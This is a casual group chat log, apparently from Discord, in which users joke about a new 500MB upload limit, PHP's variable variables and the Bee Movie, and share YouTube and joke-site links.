WHAT
dusty goblet
wait is there 500mb upload limit now
for some time yes
dusty goblet
i think its been like half a year
ripe willow
at least
rapid viper
i think more
ripe willow
I'm pretty sure I've had it longer
harsh minnow
damn thats huge
candid blaze
oh
ripe willow
since they added 500mb upload
cerulean lance
damn thats huge
I will upload the osu installer
cerulean lance
no that's stable
harsh minnow
time to upload the bee movie
ripe willow
I will upload IDA
cerulean lance
Lazer is ~150
glossy swallow
dusty goblet
π₯
cerulean lance
@glossy swallow https://exhq.dev/fuck/php you can't fight this one
ripe willow
candid blaze
It's 40MB
glossy swallow
lime talon
i have the entire bee movie in a gif
so do i, and at regular speed
it's almost 1GB
candid blaze
I rarely watch movies
ripe willow
for the last 4 years
dusty goblet
<@706152404072267788> https://exhq.dev/fuck/php you can't fight this one
will it ever hit the corner
ripe willow
https://www.youtube.com/watch?v=8_F3eEXfYYg
is this gonna go in to sub variables?>
ripe willow
$variable
$$variable
candid blaze
It was V for Vendetta
cerulean lance
https://exhq.dev/love/php
fun fact: I used to have that, and I sent /love/<someone>, and the moderators of the server banned me for acting "obsessed"
glossy swallow
this is just one of the reasons why
ripe willow
one of my 13 reasons
ripe willow
do they hate people with ocd
This is also the language that had the hebrew error
keep that in mind
candid blaze
https://www.youtube.com/watch?v=8_F3eEXfYYg
why cant you fullscreen embedded shorts
terrible
it's so damn small
granite lily
how many subversions do 0.0.14a has
granite lily
most of subversions caused by mouse bug 
candid blaze
it does NOT look like two strawberries
cerulean lance
open pasture
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ripe willow
You were doing it wrong
lime talon
why do they end videos like that
so people will watch more